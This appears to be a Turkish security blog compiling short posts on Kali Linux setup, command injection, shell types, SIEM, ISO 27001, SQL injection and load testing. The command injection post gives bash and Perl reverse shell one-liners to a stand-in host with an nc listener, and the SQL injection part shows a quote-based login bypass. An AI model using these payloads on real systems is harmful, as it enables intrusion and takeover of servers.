Kali Linux’de SSH servisini açma

Kali Linux ü ilk kurduğunuzda SSH servisi disable gelir. Bunun ana sebebi ise  default tüm şifrelerinin internette bulunabilmesi.

Yani kali i kurduğunuzda  kali / kali   ikilisini,  sudo passwd root yazdığınızda da root için bir şifre belirleyebileceğinizi herkes bilir.

Eğer kali yi kurduktan sonra tüm default şifreleri değiştirmez iseniz ssh ınız açık olsaydı geçmiş olsun…

 

Şimdi SSH ı önce enable edelim sonrada start edecek komutları girelim.

Öncelikle ssh servisi yüklü mü kontrol edelim.

# apt list openssh-server

 

Eğer yüklü değil ise yükleme komutu:

# apt install openssh-server

 

Eğer enable etmez ise sürekli her açılmasında SSH kapalı gelir.

# systemctl enable ssh.service

 

Start etmek için komutumuz:

# systemctl start ssh.service

 

Son durumu görmek için birde status bakalım:

# systemctl status ssh.service

 

Eğer SSH bağlantısı yaparken kullanıcı şifre sormasını istemiyorsak:

PasswordAuthentication no

 

NOT: Disable, stop gibi komutları da kullanacak istediğimizi yapabiliriz.

Command injection güvenlik açığı

Command injection nedir?

Uygulama arayüzünde veri girişi yapılan yere işletim sisteminin anlayacağı bir komut yazdığımızda çalışıyorsa Command injection açığı var diyebiliriz kısaca.

  • ls -la       veya   dir   yazdığımızda işletim sisteminde bulunduğumuz dizindeki dosyalar listeleniyorsa şunlara bakabiliriz. dir  windows için  ls  linux işletim sistemi için.
  • pwd ile bulunduğumuz dizini görebiliriz.
  • revers shell alalım. Bunun için pentestmonkey de “Reverse Shell Cheat Sheet” var. Burada farklı dillerde çalıştırabileceğimiz komutlar var.
  • Kali yi açıp  nc – lvn 4545  portun dinleyelim.

 

Bash için:     bash -i >& /dev/tcp/10.0.0.1/4545 0>&1

PERL için:    perl -e ‘use Socket;$i=”10.0.0.1″;$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

 

Diğer diller için:  https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

 

Shell, Bind Shell, Reverse Shell Nedir?

Shell Nedir?

Shell (kabuk), bir işletim sistemiyle etkileşimli kullanıcı arayüzü için bir UNIX terimidir. Shell (Kabuk), kullanıcının girdiği komutları anlayan ve uygulayan programlama katmanıdır.
Bu sayede kullanıcıların bilgisayar komutları, metin veya komut dosyasıyla işlemleri yönetmesine izin verilir. Kısaca kullanıcıların, bilgisayarı yönetmek için kullandığı komutları yazdığımız terminl.

 

SHELL ATMAK NEDİR?

Farklı programlama dilleri kullanılarak meydana getirilen Shell’ler bir şekilde hedef web sitesi üzerine yüklenir. Ardından bu Shell yardımıyla sunucu üzerinde admin yetkilerine sahip olunur ve sisteme zarar verilebilir. Bu işleme internet dünyasında “Shell atmak” diyoruz. Shell’ler bazen sistemin açığıyla sunucuya yüklenirken bazen de bir script içerisinde veya dosya içerisinde yüklenebilmektedir.

Shell yardımıyla deneyimli bir bilgisayar korsanı paylaşımlı bir sunucu üzerinden herhangi bir barındırma servisi satın aldıktan sonra da sunucu üzerinde yetki sahibi olarak sizin barındırma hizmetinize ulaşarak bilgileri çalabilir veya sitenize zarar verebilirler.

 

Reverse Shell Nedir?

Reverse Shell, hedef makinenin saldırgan makineye geri iletişim kurduğu bir kabuk türüdür. Saldıran makinede, kod kullanarak veya komut çalıştırılarak elde edilen bağlantıyı aldığı bir dinleyici portu vardır. Bu porta hedef makinenin bağlantısını gerçekleştirdiği sırada salgırdan hedef makineyi ele geçirme işlemini tamamlamış olacaktır.

 

Bind Shell Nedir?

Bind Shell, hedef makineda son kullanıcının çalıştırmış olduğu zararlı kodun bir iletişim portu veya bir dinleyici açtığı ve gelen bir bağlantı için beklediği bir kabuk türüdür. Saldırgan daha sonra hedef makinesinin dinleyicisine bağlanır ve ardından sunucuda kod veya komut yürütmesine neden olur.

 

Reverse Shell ve Bind Shell Farkları Nedir?

Bind Shell de direkt hedef makinenin portuna bağlantı sağlanırken ;
Reverse Shell de saldırgan kendi portunu dinlerken hedef makinenin ilgili porta bağlanması olayıdır.

Kali Linux Klavyeyi Türkçe Yapma

Normalde aşağıdaki komutu terminale yazarak klavyeyi türkçe hale getirebiliyoruz ama Kali’yi restart – reboot attığımızda bu değişiklik gidiyor.

setxkbmap tr

Her restart sonrası klayve dilini tekrar türkçeye çevirmekle uğraşmamak için Kali’de işletim sistemi açılırken otomatik çalışmasını istediğimiz komutlar kısmına bu komutu ekleyebiliriz. Böylece elle terminale setxkbmap tr yazmak yerine Kali her açıldığında bunu bizim yerimize otomatik yapacaktır.

Adım 1:  Boş bir yerde sağ tıklayıp Application -> Setting -> Session and Startup  a gidelim.

 

Adım 2: Alttaki resimde 1 le işaretlenen yerdeki + ya basarak yeni command ekleyeceğiz. 2 ile işaretlediğim küçük pencere açılacak. Orada NAME kısmına sizi bu komutu hatırlatacak bir isim verin. Örneğin Turkce_Klayye  yada benim gidi direk komutu yazabilirsiniz. Önemli kısım COMMEND kısmı. Buraya çalışmasını istediğimi komutu yani  setxkbmap tr   yi yazacağız. Son olarak TRİGGER kısmına yani komutun tetiklenmesi – çalışması gereken durumu ON LOGIN olarak seçeceğiz ve OK ye basalım.

Adım 3:  Artık her restart yada Kali’yi açma sırasında bu komut çalışacak ve klavyeniz TR olarak gelecek.

NOT: Bu  Kali – Application Autostart özelliğini diğer işleriniz içinde kullanabilirsiniz. Hayal gücünüzü zorlayın manuel yaptığınız bazı işleri otomatize edebileceğinizi unutmayın.

Kali Komutları

Kali Linux kullanırken en çok işimize yarayacak komutları listeledik..

 

  • lsb_relase -a      // Kali dağıtımı, versiyonu gibi bilgileri verir.

root@kali:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux Kali Linux 1.0.9
Release: Kali Linux 1.0.9
Codename: n/a

 

  • sudo apt upgrade    // Kali’nizi upgrade eder. Güncel paketleri yükler. Yüklenecek paketleri listeledikten sonra sayısını ve boyutu gösterip Y / N seçmenizi ister.

SIEM Projesi Nedir?

SIEM sistemleri sistemlerin, network cihazlarının, uygulamaların ürettiği logları saklayan ve bu loglar üzerinde detaylı ilişkilendirme (korelasyon) ve sorgular yapabilen sistemlerdir.

SIEM, Log izleme manasına gelmektedir. Sisteminizde bulunan tüm kritik ağlar ve cihazları kapsayan log yönetimi ve analizine SIEM projesi denilmektedir. Sistemin ürettiği olay kayıtlarının belirlenen kurallara göre analiz edilmesi olarak tanımlanmaktadır. SIEM Projeleri ile sistemin üretmiş olduğu logların kapsamlı bir şekilde toplanması, birleştirilmesi, saklanması ve doğru analizler gerçekleştirilmesi gibi adımlardan oluşan log yönetimi ise saldırının göstergelerini ve delillerini elde etmeyi ortaya çıkartabilir. Bu projelerin bir adı ise Log Yönetimi’dir.

 

SIEM ise log analizine göre daha ince detaylı yapılandırma ve raporlama seçenekleri sunmaktadır. SIEM’in en önemli özelliklerinden biri belirlenen politika ve kuralların yardımıyla bağımsız gibi görünen olaylar arasında anlamlı bağlantılar kurarak muhtemel saldırıları tespit etmeye yardımcı olan korelasyon tekniğidir. SIEM ürünleri çevre birimlerden uç kullanıcılara kadar sistemlerin ürettiği logları merkezi olarak toplayan, saklayan ve analiz eden sistemlerdir.

 

SIEM çözümleri (IBM Qradar, HP Arcsight, Mcafee SIEM ve Splunk)

 

SIEM Nedir?

SIEM sistemlerinin log üreten değil, logları toplayan, anlamlandıran ve alarm üreten bileşen olduğu unutulmamalıdır.

 

SIEM’in çalışma mekanizması:

– Toplanan logların global bir formata dönüştürülmesi ve olayların saldırı tipine göre sınıflandırılması yöntemlerini kullanarak normalleştirme ve kategorilendirme adımlarını uygulamak
– Bağımsız gibi görünen olayları birbiriyle bağlantılandırmak ya da olayları datayla ilişkilendirmek
– Yöneticilere mail, SMS veya SNMP mesajları ile bildirim veya alarm sağlamak
– Toplanan veri ve korelasyon sonuçlarını gerçek zamana yakın bir ölçüde güvenlik uzmanlarına sunan izleme paneli sağlamak
– SIEM ürünü tarafından toplanan verinin analiz aşamalarını kapsayan rapor üretmek

 

SIEM’in Önemi

SIEM ürünleri gerçek zamanlı raporlama ve güvenlik olayları analizi sağlayarak ağlara yönelik en son tehditleri tespit edebilme imkânını sunarlar. Ağ güvenliğine yönelik tehditler hızla yayılmakta ve her geçen gün yenileri ortaya çıkmaktadır.  Uzaktan erişim noktalarının ve ağlara bağlanan cihazların sayısındaki artış ağlara sızma noktalarının da çoğalmasına neden olmaktadır. Bilişimciler ağın karşı karşıya kaldığı tehditleri algılayabilmek için birden fazla kaynaktan toplanan veriyi analiz etmek ve bunların sonucunda atılacak adımları kararlaştırmak durumundadırlar. Saldırıların tespit edilmesi, dijital delillerin kaybedilmesine olanak vermeyecek şekilde daha fazla zararın oluşmasının önlenmesi, bütünsel bir güvenlik analizi raporlaması ve güvenlik tehditlerinin gerçek zamanlı olarak izlemeye alınması gibi önemli hizmetleri sunan SIEM ürünleri ağ geçidi, sunucular, güvenlik duvarları ve diğer kritik BT bileşenlerinin nasıl bir saldırı ile karşı karşıya kaldığı konusunda ayrıntılı rapor üretirler.

 

IBM® QRadar® Security Information and Event Management (SIEM), güvenlik ekiplerinin kuruluş çapındaki tehditleri doğru bir biçimde saptamasına ve bunlara öncelik vermesine yardımcı olur ve olayların etkisinin azaltılması için ekiplerin hızla müdahale etmesine olanak sağlayan akıllı içgörüler sunar. QRadar, ağınız çapında dağıtılmış binlerce aygıt, uç noktası ve uygulamadan günlük dosyası olaylarını ve ağ akışı verilerini birleştirerek, tüm bu farklı bilgileri ilişkilendirir ve olayların analiz edilmesini ve düzeltilmesini hızlandırmak için ilgili olayları tek uyarıda birleştirir.

ISO 27001 Nedir? Uyum Süreci

ISO 27001 Bilgi Güvenliği Yönetim Sistemi, şirketlerin finansal verilerini, fikri mülkiyetlerini ve hassas müşteri bilgilerini korumalarına yardımcı olan uluslararası bir çerçevedir.

 

ISO/IEC 27001 Bilgi Güvenliği Yönetim Sistemi Nedir?

ISO/IEC 27001 bilgi güvenliği yönetiminin uluslararası standardıdır. Bağımsız değerlendirmeden geçip onaylanmış bir bilgi güvenliği yönetim sisteminin nasıl kurulacağının altını çizer. Sistem tüm mali ve gizli bilgileri daha etkin korumanıza, izinsiz ve yasa dışı yollardan erişilme olasılığını en aza indirmenize imkan verir.

 

ISO 27001 Bilgi Güvenliği Yönetim Sistemi Kurmanın Yararları

• Bilgi varlıklarının farkına varma: Kuruluş hangi bilgi varlıklarının olduğunu, değerinin farkına varır.
• Sahip olduğu varlıkları koruyabilme: Kuracağı kontroller ile koruma metodlarını belirler ve uygulayarak korur.
• İş sürekliliği: Uzun yıllar boyunca işini garanti eder. Ayrıca bir felaket halinde, işe devam etme yeterliliğine sahip olur.
• İlgili taraflar ile barış halinde olma: Başta tedarikçileri olmak üzere, bilgileri korunacağından ilgili tarafların güvenini kazanır.
• Bilgiyi bir sistem sayesinde korur, tesadüfe bırakmaz.
• Müşterileri değerlendirirse, rakiplerine göre daha iyi değerlendirilir.
• Çalışanların motivasyonunu arttırır.
• Yasal takipleri önler.
• Yüksek prestij sağlar.

En Çok Kullanılan Linux Komutları

  • netstat -plnt  ile hangi portu hangi servis kullanıyor ve hangi process id de..
  • netstat -n   Sunucuya bağlanan IP ve port adreslerini adreslerini gösterir;
  • netstat -a : Tüm TCP ve UDP bağlantıları ekrana basar.
  • iptables: Linux çekirdeğiyle konuşarak paket süzme kurallarını belirler. Iptables, Linux işletim sisteminin varsayılan güvenlik duvarıdır.
  • systemctl disable firewalld
  • service firewalld stop
  • iptables –L Bu komut ile tüm iptables kurallarını listeleyebiliriz.
  • iptables –F Bu komut ile var olan tüm kuralları sıfırlayabiliriz.
  • uname -a Sunucudaki mevcut işletim sistemini ve Kernel bilgisini öğrenmek için;

 

 

  • “ps” komutu mevcutta çalışan proses (process) yani süreçleri görmek için kullanılmaktadır. TOP komutu ile de görülür.
  • ps aux   yazarak çalışan processleri buluyoruz.
  • ps aux | grep -i mysql   ile sadece mysql i listeliyoruz.
  • ps aux | grep chrome   ile chrome u görüntülüyoruz
  • ps -ef | grep “pid”  ile de listeliyoruz.
  • kill -9 20243”  komutu ile 2*243 process id li servisi kill ederim. Windows da sağ tık işlemi sonlandır ile aynı iş. Kill komutu, -9 seçeneğiyle, sürece 9 numaralı sinyali gönderir.
  • killall java  ile tüm java process leri öldürülür.

Yazılım güvenliği konusunda tecrübeli olmak

Yazılım Güvenliği Nedir?

Yazılımın, saldırı veya tehdit altındayken işlevlerini doğru bir şekilde yerine getirmeye devam edecek şekilde korunmasına denir. Yazılım güvenliği için gerek duyulan işlerin yapılabileceği en düşük yetkileri vermek gerekir. Örneğin db de sadece select yapacaksak o kullanıcı için delete, insert yetkileride vermeye gerek yoktur.

 

Güvenli Yazılım Nedir?

Olası saldırılara karşı önlemleri olan, saldırıyı önleyemese bile çalışma sürecini doğru bir şekilde devam ettirebilecek ve kötüye
kullanıldığı durumları fark edebilecek yazılım mimarisine ve tasarımına sahip yazılımdır.

 

Neler Yapmalı?

  • Gerek Duyulan En Az Yetkiyi Ver
  • Tüm Erişimleri Denetle
  • En Zayıf Halkayı Tespit Et ve Güçlendir
  • Saldırı Yüzey Alanını Azalt (Uygulamaya gereksiz özellikler eklenmemelidir.)

 

 

SQL İNJECTİON

SQL Injection, veri tabanına dayalı uygulamalara saldırmak için kullanılan bir atak tekniğidir; burada saldırgan SQL dili özelliklerinden faydalanarak standart uygulama ekranındaki ilgili alana yeni SQL ifadelerini ekler. Veritabanlarının bir açığı değildir. SQL Injection’ dan korunmak web geliştiricisinin görevidir. SQL’ için kritik metakarakter (‘) tek tırnak’ tır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.

 

kullanıcı ve şifre kısmına ‘or’  yazıp girişe butonuna basarsak db user tablosundaki ilk kullanıcı hangisi ise onun yetkisi ile login olunur.

 

tırnak, eşittir gibi işaretlere karşı filtreleme yapılmalı yazılımda.

 

SQL Injection Scanner tool’ları ile var mı yok mu bulabiliriz. Google ye SQL dork yazarak dork larda bulabiliriz. Karşımıza SQL syntex hatası gibi bişey çıkarsa SQL açığı bulduk denilebilir.

Performans – Yük Testi

Perofrmans testi genel, yük testi performans testinin bir dalı gibi düşünülebilir

 

Performans Testi

Performans testi kavramı elbette sadece yazılım uygulamaları için geçerli bir kavram değil. Bir endüstriyel sistemin de performans testi olabilir. Fakat biz burada elbette yazılım uygulamalarına ait olandan bahsedeceğiz.

Yazılım uygulamalarında performans testlerinin yapılmasındaki amaç, belirlenen kısıtlar ölçüsünde uygulanan yük altında, sistemde ortaya çıkabilecek darboğazları (bottleneck) ortaya çıkarmaktır. Performans testlerinde darboğazlar; Uygulama seviyesinde olabileceği gibi; Veritabanı, F5, Network ya da İşletim sistemi gibi önemli ortamlarda da gerçekleşebilir.

Performans testlerinde amaç sistemin bir açığını bulmak değildir. Asıl amaç sisteme yapılan girdilerden alınan dönütlerle, arzulanan/olması gereken sonuçların uygunluğunu tespit etmektir.

Bir web uygulaması içi uygulanan örnek performans testi senaryosu şu olabilir;

Aynı anda 250 eşzamanlı Http isteği yapıldığında, sistem 5 saniyede tüm istekleri karşılamalı. Bu senaryo başarılı mı? Başarılıysa bir üst senaryoya geçilebilir. Aynı anda 500 eşzamanlı kullanıcı erişimini sağla ve 5 kere tekrarla! Hedef tamamlanma süresi 10 saniyenin altı. Hedef başarılı mı? Başarılıysa test seviyesi artırılarak bu süreç devam edebilir. Ya da sistem aranılan kısıtlarda yeterli performans’ ı gösteriyor denebilir.

 

Yük Testi (Load Test) Nedir ?

Yük testi, sistemin belirli bir yük altında davranışını değerlendirmek için yapılan belirli bir performans testi şeklidir. Yük testi sırasında, yanıt sürelerini, verimi, sunucu koşullarını ve daha fazlasını izleyebilirsiniz. Bu test, birden fazla kullanıcı aynı anda eriştiğinde uygulamanın nasıl davranacağını belirlemeye yardımcı olur.